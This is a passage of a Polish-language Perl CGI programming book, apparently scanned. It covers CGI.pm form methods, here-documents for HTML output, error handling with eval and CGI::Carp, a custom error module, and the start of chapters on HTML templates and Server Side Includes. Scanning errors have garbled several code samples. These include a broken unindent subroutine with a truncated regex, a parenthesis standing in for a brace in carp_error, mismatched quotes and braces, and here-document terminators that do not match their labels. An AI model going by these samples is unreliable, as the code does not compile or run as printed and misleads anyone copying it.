tworzenia elementów formularza. Argumentami wszystkich są name i -default. Wartość argumentu -def ault zastępowana jest odpowiednią wartością zwracaną przez metodę param, o ile dana wartość istnieje. Takie działanie można wyłączyć i wymusić, aby wartości domyślne miały priorytet wyższy od parametrów podanych przez użytkownika, przekazując argument -override z wartością „prawda". Opcja -def ault określa wartość domyślną (atrybut VALUE elementu) w wypadku elementów z pojedynczymi wartościami: print $q->textfield( -name => "username", -default => "Anonymous" ); Na podstawie powyższego kodu powstanie wiersz: <INPOT TYPE="text" NAME="username" VALUE="Anonymous"> Podając tablicę wraz z argumentem -values, metody checkbox_group i radio_group wygenerują wielokrotne pola wyboru o tej samej nazwie. Podobnie jest, gdy referencję do tablicy przekazujemy z argumentem -values do funkcji scrollingjist i popup_menu, które wygenerują wtedy zarówno elementy <SELECT>, jak i <OPTION>. W wypadku tych elementów -default wskazuje wartości, które mają być domyślnie zaznaczone lub wybrane; z argumentem -default do metod checkbox_grouy i scrollingjist można przekazać referencję do tablicy, co pozwala wskazać kilka wartości domyślnych. Do każdej metody można przekazać argument -1 abe l s, któremu towarzyszy referencja do tablicy asocjacyjnej. Tablica ta kojarzy wartości poszczególnych elemen- j tów z odpowiednimi etykietami wyświetlanymi w przeglądarce użytkownika. Oto przykład, jak można wygenerować grupę przycisków op'cji: print $q->radio_group( -name => "kurtyna", -values => [ "A", "B", "C" ], -default => "B", -labels => ( A => "Kurtyna A", B => "Kurtyna B", C => "Kurtyna C" } }; W wyniku otrzymamy: <INPUT TYPE="radio" NAME="kurtyna" VALUE="A">Kurtyna A <INPUT TYPE="radio" NAME="kurtyna" VALUE="B" CHECKED>Kurtyna B <INPUT TYPE="radio" NAME="kurtyna" VALUE="C">Kurtyna C
Programowanie CGI w Perlu
56
Wszystkie pozostałe atrybuty elementów formularza, na przykład SIZE=4, określa się przez przekazanie dodatkowych argumentów (np. size => 4).
Alternatywne sposoby generowania danych wyjściowych Istnieje wiele różnych sposobów tworzenia kodu HTML za pomocą skryptów CGI. Właśnie dowiedzieliśmy się, jak do tego celu wykorzystać moduł CGI.pm. W następnym rozdziale przyjrzymy się, jak korzystać z szablonów HTML, dzięki którym kod HTML i kod skryptów CGI mogą być trzymane osobno. Tymczasem przyjrzyjmy się paru innym technikom stosowanym przez projektantów przy tworzeniu HTML-a za pomocą skryptów. Zapoznając się z poniższym przeglądem, warto zwrócić uwagę na to, jak trudna jest pielęgnacja HTMLa. Przez cały okres funkcjonowania aplikacji CGI często to właśnie HTML zmienia się najbardziej. Tak więc w ramach zabiegów pielęgnacyjnych w aplikacji zmiany wprowadza się także do projektu lub tekstu zawartego w HTML-u, a zatem ważne jest, by HTML nie sprawiał trudności przy nanoszeniu poprawek. Liczne instrukcje print Najprostszy sposób włączania HTML-a do kodu źródłowego jest zarazem najtrudniejszy do pielęgnacji. Wielu projektantów serwisów Web, aby zwrócić dokument, a nawet obszerne sekcje treści statycznych (czyli takich, które przy każdym kolejnym wywołaniu skryptu CGI pozostają niezmienione), zaczyna od pisania skryptu CGI zawierającego mnóstwo instrukcji print. Oto przykład: #!/usr/bin/perl -wT use strict; my $datownik = localtime; print "Content-type: text/html\n\n"; print "<html>\n"; print "<head>\n"; print "<title>Czas</title>\n"; print "</head>\n"; print "<body bgcolor=\"#ffffff\">\n"; print "<h2>Bieżący czas</h2>\n"; ' print "<hr>\n"; print "<p>Bieżący czas w tym systemie: \n"; print "<b>$datownik</b>\n"; print "</p>\n"; print "</body>\n"; print "</html>\n"; Jest to dość prosty przykład, ale łatwo sobie wyobrazić, jak bardzo może się skomplikować taki zapis w wypadku rozbudowanej struktury Web, z licznymi obrazami, zagnieżdżonymi tabelami, deklaracjami stylów itd. Na pogorszenie czytelności wpływa nie tylko zagmatwanie wprowadzane przez instrukcje print, lecz również to, że każdy znak podwójnego cudzysłowu prostego musi być poprzedzany ukośnikiem odwrotnym (\). Jeśli się o tym zapomni, choćby raz, zapewne pojawi się błąd składniowy. Dokonywanie HTML-owych poprawek w skrypcie przypominającym wyżej przytoczony, niepotrzebnie zwiększa nakład pracy. Pisząc skrypty, należy zdecydowanie stronić od takiego podejścia. Dokumenty „tutejsze" We wcześniejszych przykładach mieliśmy okazję dowiedzieć się, że Perl obsługuje właściwość zwaną dokumentami „tutejszymi" (ang. here documents), która umożliwia osobne osadzanie w kodzie dużych bloków treści. Aby utworzyć taki dokument, wystarczy użyć znaków «, a po nich podać etykietę, która posłuży do wskazania końca dokumentu. Etykietę można umieścić w cudzysłowie pojedynczym lub podwójnym, a zawartość zostanie przetworzona tak, jak łańcuch w odpowiednim cudzysłowie. Innymi słowy, jeśli użyjemy znaków pojedynczego cudzysłowu, zmienne nie będą interpretowane. Pominięcie cudzysłowu będzie mieć taki sam skutek jak użycie cudzysłowu podwójnego. Oto poprzedni przykład po zastosowaniu w nim dokumentu „tutejszego": #!/usr/bin/perl -wT use strict; use CGI; my $datownik = localtime; print <<KONIEC_WIADOMOSCI; Content-type: text/html <html> <head><title>Czas</title></head> <body bgcolor="#ffffff"> <h2>Bieżący czas</h2> <hr><p>Bieżący czas w tym systemie: <b>$datownik</b></p> </body> </html> KONIEC WIADOMOŚCI Taki zapis jest znacznie przejrzystszy niż szereg instrukcji print, a przy tym daje nam możliwość zastosowania wcięć w kodzie HTML. W rezultacie kod jest czytelniejszy i łatwiejszy do aktualizacji. To samo
Programowanie CGI w Perlu
57
można by uzyskać za pomocą jednej instrukcji print i podwójnego cudzysłowu obejmującego całą treść, lecz wtedy wszystkie znaki podwójnego cudzysłowu w HTML-u musiałyby być poprzedzane ukośnikiem odwrotnym, a w rozbudowanych dokumentach HTML byłoby to żmudne. Kolejne rozwiązanie polega na użyciu perłowego operatora qq/ /, lecz z innym separatorem, na przykład tyldą (~). Należy znaleźć separator, który nie występuje w HTML-u, i pamiętać, że w treści zawierającej JavaScript może się znajdować wiele znaków nieobecnych w HTML-u. Dokumenty „tutejsze" są na ogół bezpieczniejszym rozwiązaniem. Wadą dokumentów „tutejszych" jest to, że uzyskanie w nich wcięć nie jest łatwe, więc mogą wyglądać dziwnie wewnątrz bloków skądinąd estetycznie powcinanego kodu. Tom Christiansen i Nathan Torkington zajęli się tym zagadnieniem w książce Perl - receptury (Wydawnictwo RM). Poniższe rozwiązania zostały oparte na ich wskazówkach. Jeśli naddatek w postaci ciągów białych znaków na początku wierszy nie odgrywa istotnej roli, wcięcia można wprowadzić wszędzie. Wcięciem można poprzedzić etykietę końca bloku, jeśli jej nazwę wraz z wcięciem umieścimy w cudzysłowie (chociaż poprawia to czytelność, może utrudniać pielęgnację kodu, ponieważ jeśli zmienią się wcięcia, konieczne będzie odpowiednie dostosowanie nazwy etykiety): #!/usr/bin/perl -wT use strict; use CGI; my $datownik = localtime; wyswietl_dokument( $datownik ); sub wyswietl_dokument { my $datownik = shift; print <<" KONIEC_WIADOMOSCI"; Content-type: text/html <html> <head> <title>Czas</title> </head> <body bgcolor="#ffffff"> <h2>Bieżący czas</h2> <hr><p>Bieżący czas w tym systemie: <b>$datownik</b></p> </body></html> KONIEC WIADOMOŚCI } Wadą wcięć w dokumencie „tutejszym" jest to, że do klienta niepotrzebnie wysyłane są również białe znaki tworzące wcięcia. Można temu zaradzić, tworząc funkcję eliminującą wcięcia w tekście. Rzecz jest prosta, jeśli mają być pousuwane wszystkie wcięcia. Jeśli jednak wcięcia w HTML-u mają być zachowane, sprawa się komplikuje. Trudność stanowi ustalenie wielkości wcięć do usunięcia: jak duży fragment przynależy do treści dokumentu, a jaka część wynika z układu w skrypcie CGI. Można by przyjąć, że pierwszy wiersz ma najmniejsze wcięcie, lecz to założenie się nie sprawdzi, jeśli drukowalibyśmy na przykład tylko końcówkę dokumentu HTML, a wtedy prawdopodobnie najmniejsze wcięcie zawierałby ostatni wiersz. Przedstawiona niżej procedura unindent przegląda wszystkie drukowane wiersze, odnajduje najmniejsze wcięcie, po czym o tak ustaloną wielkość skraca początek wszystkich wierszy: sub unindent; sub wyswietl_dokument { my $datownik = shift; print <<" KONIEC_WIADOMOSCI"; Content-type: text/html <html> <head><title>Czas</title></head> <body bgcolor="łffffff"> <h2>Bieżacy czas</h2> <hr><p>Bieżący czas w tym systemie: <b>$datownik</b></p> </body></html> KONIEC WIADOMOŚCI } sub unindent { local $_ = shift; my( $indent ) = sort ( [ \t]*)\S/gm; S/^$indent//gm; return $ } Wstępne zadeklarowanie funkcji unindent, zamieszczone w pierwszym wierszu, pozwala nam ją wywołać z pominięciem nawiasów. Takie rozwiązanie oczywiście zwiększa nakład pracy, którą serwer musi wykonać przy każdym żądaniu, więc nie powinno być stosowane na intensywnie używanych serwerach. Należy też pamiętać, że każda dodatkowa spaq'a zwiększa liczbę bajtów, którą my musimy wysiać, a użytkownik odebrać. Zatem w istocie praktyczniejszym podejściem jest usunięcie wszystkich początkowych białych znaków.
Programowanie CGI w Perlu
58
Bądź co bądź, użytkownikom z pewnością bardziej zależy na szybkim pobieraniu strony niż na wyglądzie jej kodu źródłowego. Podsumowując, dokumenty „tutejsze" nie są złym rozwiązaniem w wypadku dużych porcji kodu, lecz nie pozwalają skorzystać z zalet modułu CGI.pm, a zwłaszcza weryfikacji kodu HTML pod względem składni. O wiele trudniej pominąć HTML-owy znacznik zamykający, posługując się modułem CGI.pm, niż stosując dokument „tutejszy". Ponadto wielokrotnie się zdarza, że HTML trzeba konstruować w sposób programowy. Na przykład do tabeli można dodawać wiersze tworzone na podstawie rekordów kolejno odczytywanych z bazy danych. W takich wypadkach, gdy mamy do czynienia z małymi porcjami HTML-a, o wiele łatwiej jest posługiwać się modułem CGI.pm niż dokumentami „tutejszymi". Wykorzystywanie metod modułu CGI.pm do generowania kodu HTML budzi skrajne reakcje projektantów. Jedni to podejście uwielbiają, inni wprost przeciwnie. Nie trzeba załamywać rąk, jeśli nie spełnia określonych potrzeb, ponieważ już w następnym rozdziale zajmiemy się szeregiem rozwiązań alternatywnych.
Obsługa błędów Skoro jesteśmy przy temacie obsługi danych wyjściowych, powinniśmy też się przyjrzeć sposobom obsługi błędów. Doświadczonego projektanta można odróżnić od nowicjusza po należytej obsłudze błędów. Nowicjusze oczekują, że wszystko będzie się zawsze toczyć tak, jak zaplanowano, natomiast doświadczeni projektanci wiedzą, że takie przypadki się nie zdarzają. Komunikatywna sygnalizacja błędu kończącego działanie skryptu Do obsługi błędów projektanci najczęściej wykorzystują wbudowaną funkcję Perla die. Oto przykład: open FILE, $nazwapliku or die "Nie można otworzyć pliku $nazwapliku: $!"; Jeśli Perl nie będzie w stanie otworzyć pliku wskazanego w zmiennej $nazwapli-ku, funkcja die wydrukuje komunikat o błędzie na STDERR i zakończy działanie skryptu. Funkcja open, jak większość poleceń języka Perl dotyczących bezpośrednio systemu, w zmiennej $! umieszcza w razie niepowodzenia hasłowy opis przyczyny błędu. Niestety die nie zawsze jest najlepszym rozwiązaniem obsługi błędów w skryptach CGI. Jak wiemy z rozdziału 3, „CGI - wspólny interfejs bramy", dane kierowane na STDERR zwykle wysyłane są do dziennika błędów serwera Web, co powoduje, że serwer Web zwraca stan 500 Internd Server Error (wewnętrzny błąd serwera). Z pewnością nie jest to zbyt komunikatywna odpowiedź. Powinniśmy ustalić jednolite podejście do obsługi błędów w serwisie. Możemy przyjąć, że strony z komunikatem 500 Internal Server Error są do zaakceptowania w wypadku bardzo rzadkich błędów systemowych, takich jak brak możliwości odczytania lub zapisania pliku. Mimo wszystko możemy uznać, że lepiej będzie, jeśli użytkownikowi wyświetlimy sformatowaną stronę HTML, informującą o środkach zaradczych oraz osobach, które należy powiadomić o zaistniałym problemie. Przechwytywanie funkcji die Możliwe jest przechwycenie funkcji die, aby nie wygenerowała automatycznie błędu 500 Internal Seruer Error. Taka możliwość ma duże znaczenie, ponieważ odpowiadając na błędy, wiele popularnych modułów dodatkowych opiera się na funkcji die (oraz jej wariantach, takich jak croak). Gdy wiadomo, że konkretna procedura może wywołać die, wywołanie można przechwycić, umieszczając w skrypcie blok eval: eval { niebezpieczna_procedura(); 1; } or do { error( $q, $@ || "Nieznany błąd" ); } Jeśli niebezpieczna_procedura wywoła funkcję die, to eval przechwyci ją, specjalnej zmiennej $ @ przypisze wartość, którą jest komunikat funkcji die, przekaże sterowanie na koniec bloku i zwróci unde f. Umożliwi to wywołanie innej procedury, informującej o błędzie w sposób przystępniejszy. Należy zwrócić uwagę, że blok eval nie przechwyci instrukcji exit. Powyższe rozwiązanie jest skuteczne, lecz z pewnością przyczynia się do znacznego skomplikowania kodu, a jeśli skrypt CGI opiera się na wielu procedurach z funkcją die, to cały skrypt trzeba umieścić wewnątrz bloku eval lub też wiele takich bloków trzeba rozmieścić w różnych miejscach skryptu. Na szczęście jest lepszy sposób. Możliwe jest utworzenie globalnej procedury obsługi sygnałów, która będzie przechwytywać funkcje die i warn języka Perl. Wymaga to znajomości Perla w stopniu zaawansowanym; odpowiednie informacje można znaleźć w książce Perl - programowanie. Na szczęście nie musimy się rozglądać za „odpowiednimi informacjami", ponieważ istnieje moduł służący do omawianych celów, który ponadto został napisany specjalnie pod kątem skryptów CGI: CGI::Carp. CGI::Carp CGI::Carp nie jest składnikiem modułu CGI.pm, choć jego autorem również jest Lincoln Stein, i rozprowadzany jest razem z CGI.pm (i dlatego jest włączany do najnowszych wersji Perla). Służy do dwóch rzeczy: do tworzenia bardziej komunikatywnych pozycji w dzienniku błędów oraz tworzenia własnych stron z komunikatami o błędach na wypadek wywołań krytycznych, takich jak die. Dzięki temu modułowi do błędów zapisywanych w dzienniku błędów przez die, warn, carp, croak i confess dodawane jest wskazanie czasu. Trzy ostatnie funkcje pochodzą z modułu Carp (włączonego do Perla) i często są stosowane przez autorów modułów.
Programowanie CGI w Perlu
59
Mimo to serwer Web w odpowiedzi na te wywołania nadal zgłasza błąd 500 Internal Seruer Error. CGI::Carp okazuje się najbardziej przydatny, gdy potrzebne jest prze-chwytywanie błędów krytycznych. Możemy sprawić, by komunikaty o tych błędach prezentował w przeglądarce. Jest to szczególnie pomocne podczas tworzenia i dębu-gowania skryptu. W tym celu przy inicjowaniu modułu wystarczy do niego przekazać parametr fatalsToBrowser: use CGI::Carp qw( fatalsToBrowser ); Jednak możemy uznać, że w publicznym środowisku systemowym nie powinno się dostarczać użytkownikom pełnych informacji o zaistniałym błędzie. Na szczęście można spowodować, że CGI::Carp po przechwyceniu błędu będzie wyświetlać nasz własny komunikat. W tym celu do CGI::Carp::set_message przekazuje się referencję do jednoargumentowej procedury, wyświetlającej treść stosownej odpowiedzi. use CGI::Carp qw( fatalsToBrowser ); BEGIN { sub carp_error { my $error_message = shift; my $q = new CGI; $q->start_html( "Błąd" ), $q->h1( "Błąd" ), $q->p( "Niestety, wystąpił następujący błąd: " ), $q->p( $q->i( $error_message ) ), $q->end_html; } CGI::Carp::set_message( \&carp _error ); } Jak włączyć ten kod do ogól .liejszego rozwiązania, zobaczymy w przykładzie 5.3. Procedury obsługi błędów Większość przykładów przytaczanych w książce zawiera procedury lub bloki kodu służące do informowania o błędach. Oto przykład: sub error { my ( $q, $error_message ) = @_; print $q->header( "text/html" ), $q->start_html( "Błąd" ), $q->hl ( "Błąd" ), $q->p( "Niestety, wystąpił następujący błąd: " ), $q->p( $q->i( $error_message ) ), $q->end_html; exit; } Powyższą procedurę można wywołać za pomocą obiektu CGI, podając przy tym przyczynę błędu. Wygeneruje ona stronę z komunikatem o błędzie, a następnie wykona instrukcję exit, zatrzymującą wykonywanie skryptu. Przy tworzeniu generalnego sposobu przechwytywania błędów jedną z największych trudności stanowi ustalenie, czy trzeba drukować nagłówek HTTP, czy nie trzeba: jeśli już został wydrukowany, a zaczniemy drukować kolejny, to pojawi się on na początku strony z informacją o błędzie; jeśli nie został wydrukowany, a my nie wydrukujemy go wraz zkomunikatem o błędzie, to dla odmiany wywołamy błąd 500 Internal Server Error. Na szczęście CGI.pm umożliwia śledzenie, czy nagłówek został już wydrukowany. Jeśli włączymy tę właściwość, generowany będzie tylko jeden nagłówek na jeden obiekt CGI. Wszelkie dodatkowe wywołania funkcji header będą nieskuteczne. Są trzy sposoby włączania tej właściwości: 1.Można przekazać przełącznik -unique_headers przy ładowaniu modułu CGI.pm: use CGI qw( -unique_headers ); 2.Po zainiqowaniu modułu CGI.pm, lecz przed utworzeniem obiektu, zmiennej $CGI::HEADERS_ONCE można przypisać wartość „prawda": use CGI; $CGI::HEADER_ONCE = l; my $q = new CGI; 3. Jeśli wiadomo, że właściwość ta zawsze będzie potrzebna, możemy ją włączyć globalnie, we wszystkich skryptach, zmiennej $HEADERS_ONCE przypisując wartość „prawda" bezpośrednio w kodzie modułu CGI.pm. Czynności są takie same, jak w wypadku zmiennych $POST_MAX i $DISABLE_UPLOADS, omówionych na początku rozdziału. $HEADERS_ONCE można znaleźć w tej samej sekcji konfiguracji CGI.pm: # Change this to l to suppress redundant HTTP headers HEADERS_ONCE = 0; Dodawanie procedur przechwyty wania błędów do każdego skryptu CGI jest z pewnością do przyjęcia, jednak nadal nie jest dość uniwersalnym rozwiązaniem. Często tworzy się własne strony z informacjami o błędzie, dostosowane do konkretnego serwisu. Kiedy do procedur zacznie być dołączany złożony kod HTML, pielęgnacja ich szybko się stanie kłopotliwa. Jeśli utworzymy procedury obsługi błędów, generujące strony zgodne z szablonem stosowanym w całym serwisie, a później zdecydujemy się na zmianę jego wyglądu, to będziemy musieli wrócić do wszystkich procedur i odpowiednio każdą zmodyfikować. Mówiąc prościej, o wiele lepszym wyjściem jest utworzenie wspólnej procedury obsługi błędów, do której dostęp będą mieć wszystkie skrypty CGI.
Programowanie CGI w Perlu
60
Własny moduł Dobrym podejściem jest utworzenie w Perlu modułu, który byłby swoisty dla danego serwisu. Jeśli dany serwer gości różne serwisy lub w ramach jednego serwisu obsługuje różne aplikacje o różnym wyglądzie i charakterze, wskazane jest utworzenie dla każdego z nich osobnego modułu. W takim module będziemy mogli umieścić procedury, które powtarzają się w wielu naszych skryptach CGI. Procedury te bywają rozmaite, lecz w każdym serwisie jedna z nich powinna służyć do obsługi błędów. Tworzenie modułów w Perlu jest na tyle proste, że nie powinno sprawić trudność nawet tym projektantom, którzy dotąd nie mieli pod tym względem większego doświadczenia. Przykład 5.3 przedstawia moduł w minimalnej postaci. Przykład 5.3. CGIBook::Error.pm #!/usr/bin/perl -wT package CGIBook::Error; # Wyeksportuj procedurę błędu use Exporter; @ISA = "Exporter"; @EXPORT = qw( error ); $VERSION = "0.01"; use strict; use CGI; use CGI::Carp qw( fatalsToBrowser ) ; BEGIN { sub carp_error ( my $error_message = shift; my $q = new CGI; my $discard_this = $q->header( "text/html' ); error( $q, $error_message ); } CGI::Carp::set_message( \&carp_error ); sub error { my( $q, $error_message ) = @_; print $q->header ( "text/html" ), $q->start_html ( "Błąd" ) , $q->h1 ( "Błąd" ) , $q->p ( "Niestety, wystąpił następujący błąd: "), $q->p ( $q->i ( $error_message ) ), $q->end_html; exit; } 1; Jedyna różnica między modułem Perla a standardowym skryptem Perla polega na tym, że w pierwszym wypadku plik należy zapisać z rozszerzeniem .pm, za pomocą funkcji package zadeklarować nazwę pakietu 7 modułu (powinna być zgodna z nazwą pliku z wyjątkiem rozszerzenia .pm i podstawienia : : w miejsce / oraz zapewnić, by moduł zwracał na koniec wartość „prawda" (dlatego na końcu umieściliśmy l ; ). Powszechną praktyką jest umieszczanie numeru wersji modułu w zmiennej $VERSION. Dla wygody procedurę error eksportujemy z wykorzystaniem modułu Exporter. Umożliwi to nam odwoływanie się w skryptach do tej procedury przez error zamiast CGIBook::Exporter::error. Szczegółowe informacje na temat modułu Exporter dostępne są w jego opisie ekranowym lub w elementarzach Perla, na przykład Perl - programowanie. Istnieje kilka możliwości, gdy chodzi o zapisanie tego pliku. Najprostsze rozwiązanie polega na zapisaniu go w katalogu site_perl bibliotek Perla, na przykład /usr/lib/perl5/site_perl/5.005/CGIBook/Error.pm. Katalog site_perl zawiera moduły, które są swoiste dla określonego serwisu (czyli że nie są częścią standardowego pakietu dystrybucyjnego języka Perl). Ścieżki do bibliotek Perla w konkretnym wypadku mogą być inne; ich położenie w systemie można ustalić za pomocą następującego polecenia: $ perl -e 'print map "$_\n", @INC' Zwykle tworzy się podkatalog specyficzny dla danej struktury (w naszym wypadku jest to CGIBook), zawierający wszystkie nowo tworzone moduły Perla. Użycie modułu może wyglądać jak niżej: #!/usr/bin/perl -wT use strict; use CGI; use CGIBook::Error; 7
Ustalając nazwę pakietu należy wziąć pod uwagę, że nazwa pliku powinna być określona względem ścieżki do bibliotek, zawartej w zmiennej @ INC. W naszym przykładzie zakładamy, że plik znajduje się w katalogu /usr/lib/perl5/site_per1/5.005/CGIBook/Error.pm. Katalogiem bibliotecznym jest Iusr/liblperl5/site_perl/5.005. Wynika z tego, że ścieżka do modułu określona względem katalogu bibliotecznego to CGIBook/Error.pm, i stąd nazwa pakietu: CGIBook::Error.
Programowanie CGI w Perlu
61
my $q = new CGI; unless ( sprawdz_cos_waznego() ) { error ( $q, "Coś poszło nie tak, jak powinno." ); } Gdy nie mamy uprawnień do zainstalowania modułu w katalogu bibliotecznym Perla, a administator systemu nie chce tego zrobić, wtedy moduł możemy ulokować w innym miejscu, na przykład /usr/local/apache/perl-lib/CGIBook/Error.pm. Musimy wówczas pamiętać o uwzględnieniu tego katalogu na liście, według której Perl poszukuje modułów. Najprostszy sposób polega na użyciu pragmy lib: #!/usr/bin/perl -wT use strict; use lib "/usr/local/apache/perl-lib"; use CGI; use CGIBook::Error; ...
Rozdział 6 Szablony HTML Moduł CGI.pm bardzo ułatwia generowanie kodu HTML za pomocą skryptów w języku Perl. Jeśli zamierzamy stworzyć samowystarczalne aplikacje CGI, obejmujące zarówno kod programu, jak i interfejs użytkownika (czyli strony HTML), to CGI.pm jest z pewnością najlepszym narzędziem. Jest wręcz doskonały, gdy chodzi o aplikacje przeznaczone do dystrybucji, ponieważ nie trzeba rozprowadzać osobnych plików HTML, a projektantom czytającym kod łatwiej prześledzić jego działanie. Z tego względu posługujemy się tym modułem w większości przykładów prezentowanych w książce. Niemniej jednak w pewnych okolicznościach wskazane jest rozdzielenie interfejsu i logiki programowej. Wówczas lepszym rozwiązaniem mogą się okazać szablony.
Argumenty na rzecz korzystania z szablonów Umiejętności potrzebne do projektowania stron HTML bardzo się różnią od wymaganych przy opracowywaniu CGI. Dobry projekt HTML-owy zwykle jest dziełem artysty plastyka lub grafika użytkowego we współpracy z ludźmi od marketingu i specjalistami od projektowania interfejsów graficznych. Opracowania CGI również mogą angażować wiele osób, lecz samo tworzenie jest z natury ściśle techniczne. Dlatego twórcy skryptów CGI często nie zajmują się tworzeniem interfejsu graficznego swoich aplikacji. Czasami do dyspozycji otrzymują tylko schematyczne prototypy, które mają wyposażyć w obsługujący je program. W takim układzie kod HTML jest tworzony niezależnie i przeniesienie go do skryptu wymagałoby dodatkowej pracy. Co więcej, aplikacje CGI rzadko kiedy pozostają niezmienne; wymagają pielęgnacji. Jest rzeczą naturalną, że ujawniają się usterki i że się je usuwa, że wzbogaca się skrypt o nowe możliwości, zmieniają się prezentowane informacje, a nowa koncepcja graficzna wymaga zmiany zestawienia kolorów. Wszystkie te zmiany pociągają za sobą bądź modyfikację programu, bądź też interfejsu, przy czym zmiany w interfejsie są najczęstsze i zwykle najbardziej czasochłonne. Dokonanie określonych zmian w istniejącym pliku HTML jest na ogół łatwiejsze niż wprowadzenie poprawek do skryptu CGI, a przy tym w wielu firmach więcej osób zna się na HTMLu niż na Perlu. Szablonami HTML można się posługiwać na wiele różnych sposobów. Bardzo często projektanci serwisów Web opracowują własne rozwiązania. Jednak te rozliczne rozwiązania można sprowadzić do zaledwie kilku różnych podejść. W tym rozdziale zbadamy każde z nich, rozważając najskuteczniejsze i najpopularniejsze rozwiązania w danej kategorii. Na własną rękę W tym rozdziale nie będziemy prezentować najnowszego analizatora składni (par-sera) szablonów ani wyjaśniać, jak pisać własne. Istnieje zbyt wiele dobrych rozwiązań, by każdemu poświęcić uwagę. Większość projektantów serwisów Web, którzy stworzyli autorskie systemy obsługi szablonów, zwraca się po pewnym czasie ku czemuś innemu. Prawdę mówiąc, taką ewoluq'ę przeszedł jeden z autorów tej książki. Pierwszy opracowany przeze mnie system obsługi szablonów był podobny do SSI, lecz zastosowałem w nim struktury sterujące i umożliwiłem zagnieżdżanie kilku poleceń w nawiasach (polecenia przypominały funkcje w Excelu). Polecenia szablonów były proste, miały duże możliwości i były skuteczne, lecz kryjący się za tym kod był skomplikowany i trudny w pielęgnacji, więc w pewnym momencie zacząłem wszystko od początku. Moje drugie rozwiązanie obejmowało ręcznie kodowany, porządny rekursywny parser oraz obiektową, wzorowaną na JavaScripcie, składnię, którą w Perlu łatwo było rozszerzyć. Uważałem, że JavaScript jest już dobrze znany wielu twórcom kodu HTML. Gdy skończyłem, byłem wręcz dumny, ale po kilku miesiącach posługiwania się swoim dziełem zdałem sobie sprawę, że stworzyłem wymyślne technicznie, lecz odizolowane rozwiązanie, więc przerzuciłem się na Embperl. W obydwu wypadkach zdałem sobie sprawę, że opracowane rozwiązania nie były warte wysiłku, który trzeba było potem włożyć w ich pielęgnaq'ę. Pielęgnacja kodu w wypadku drugiego opracowania była łatwa, lecz nawet to nie wydawało się warte wysiłków wobec alternatywnych rozwiązań wysokiej jakości, o otwartym kodzie źródłowym, już przetestowanych, stale pielęgnowanych i ogólnodostępnych. Co ważniejsze, niestandardowe rozwiązania wymagają od innych projektantów CGI i autorów HTML poświęcenia czasu na naukę nigdzie indziej nie spotykanych systemów. Nikt mi nie doradzał, abym zamiast rozwiązania własnego wybrał rozwiązanie standardowe - sam odkryłem zalety tego drugiego. Czasami duma musi ustąpić Lepiej więc rozważyć możliwości, które już są dostępne, i unikać pokusy, by po raz kolejny wynaleźć koło. Jeśli potrzebna jest cecha, której nie ma w żadnym innym pakiecie, warto się zastanowić nad rozszerzeniem
Programowanie CGI w Perlu
62
istniejącego rozwiązania o otwartym kodzie źródłowym i zrezygnować z własnego kodu, jeśli na tym również i inni mogliby skorzystać. Oczywiście każdy sam podejmuje decyzję i w konkretnym wypadku mogą się znaleźć powody, dla których opłaca się tworzyć własny system. Nie da się zaprzeczyć, że żadne z przedstawianych w tym rozdziale rozwiązań nie zaist-; niałoby, gdyby nie kilku ludzi, z których każdy zdecydował się zrealizować własny projekt, pielęgnować go, rozwijać oraz udostępniać innym.
SSI, czyli wstawki po stronie serwera Wielokrotnie zdarza się, że trzeba utworzyć stronę Web, której bardzo niewielki fragment będzie się zmieniać w czasie. Wydaje się, że konieczne jest wtedy pracochłonne napisanie w pełni wyposażonej aplikacji po to tylko, aby wyświetlić drobną dynamiczną informację, taką jak bieżąca data i godzina, czas ostatniej modyfikacji pliku lub adres IP użytkownika w dokumencie pod każdym innym względem statycznym. Na szczęście istnieje narzędzie zwane wstawkami po stronie serwera, czyli SSI (Server Side Includeś), w które wyposażana jest większość serwerów Web. Dzięki SSI w dokumentach HTML możliwe jest osadzanie specjalnych dyrektyw wywołujących inne programy oraz wstawianie rozmaitych danych, takich jak zmienne środowiska czy dane statystyczne pliku. Mimo że SSI pod względem technicznym nie ma nic wspólnego z CGI, jest ważnym narzędziem, służącym do włączania do zasadniczo statycznych dokumentów informacji dynamicznych, w rym danych generowanych przez programy CGI. Należy mieć świadomość możliwości i ograniczeń SSI, gdyż w niektórych wypadkach mechanizm ten stanowi prostsze i efektywniejsze rozwiązanie niż skrypt CGI. Powiedzmy, że chcielibyśmy, aby na stronie wyświetlana była data jej ostatniej modyfikacji. Można by utworzyć skrypt CGI, który by wyświetlał dany plik, i użyć operatora -M języka Perl w celu ustalenia „wieku" pliku. Jednak o wiele prościej jest skorzystać z SSI i wstawić następujący wiersz: Ostatnia modyfikacja: <!--#echo var="LAST_MODIFIED"—> Wyrażenia objęte HTML-owym komentarzem to polecenie SSI. Gdy przeglądarka zażąda od serwera Web dokumentu z tym poleceniem, serwer dokona jego analizy i zwróci wynik (zob. rysunek 6.1). W tym wypadku polecenie SSI zostanie zastąpione wskazaniem czasu, odzwierciedlającym czas ostatniej modyfikacji dokumentu. Serwer nie przeprowadza automatycznie analizy wszystkich plików pod kątem dyrektyw SSI - sprawdza tylko te dokumenty, które są skojarzone z SSI. W następnym podrozdziale pokażemy, jak wygląda konfiguracja. SSI nie analizuje danych wyjściowych CGI; analizie poddaje jedynie skądinąd sta-jHu tyczne pliki HTML. Nowa architektura zastosowana w serwerze Apache 2.0 powinna "^i ostatecznie umożliwić analizę składniową SSI na wyjściu CGI, jeśli CGI wygeneruje określony nagłówek Content-type. Nie zapewniają tego inne serwery Web. Ponieważ mechanizm SSI jest wbudowany w serwer Web, jest wielokrotnie efektywniejszy niż skrypt CGI. Niemniej liczba poleceń SSI jest ograniczona i służą one tylko do wykonywania elementarnych zadań. Pod pewnym względem ta prostota SSI jest zaletą, ponieważ nie trzeba się dużo uczyć. Projektanci HTML bez doświadczenia w programowaniu mogą bez trudności włączać polecenia SSI do tworzonych przez siebie dokumentów. W dalszej części rozdziału przypatrzymy się innym rozwiązaniom opartym na szablonach, zapewniającym projektantom znacznie bogatsze możliwości. Konfiguracja Serwer Web musi wiedzieć, które pliki ma analizować pod kątem poleceń SSI. W tym podrozdziale zajmiemy się konfiguracją serwera Apache. Inne serwery Web powinny być równie łatwe do skonfigurowania (szczegóły w dokumentacji konkretnego serwera). Mamy następujące możliwości: • Serwer Web można skonfigurować tak, aby rozpoznawał tylko te dokumenty SSI, które znajdują się w odpowiednim katalogu, katalogach lub w całej strukturze Web. • Serwer Web można skonfigurować tak, aby pod kątem poleceń SSI analizował składniowo wszystkie dokumenty HTML lub tylko dokumenty z określonym rozszerzeniem (zwykle .shtmT). • Można określić, czy polecenia SSI mogą uruchamiać programy zewnętrzne w celu wygenerowania danych 